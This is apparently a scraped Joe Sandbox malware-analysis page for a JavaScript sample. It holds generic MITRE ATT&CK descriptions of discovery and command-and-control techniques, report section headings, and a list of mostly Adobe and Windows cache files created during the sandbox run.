Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2709365481268819493.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0b60f9db-d180-48f6-a16d-aea27b52028f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5168

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2709365481268819493.js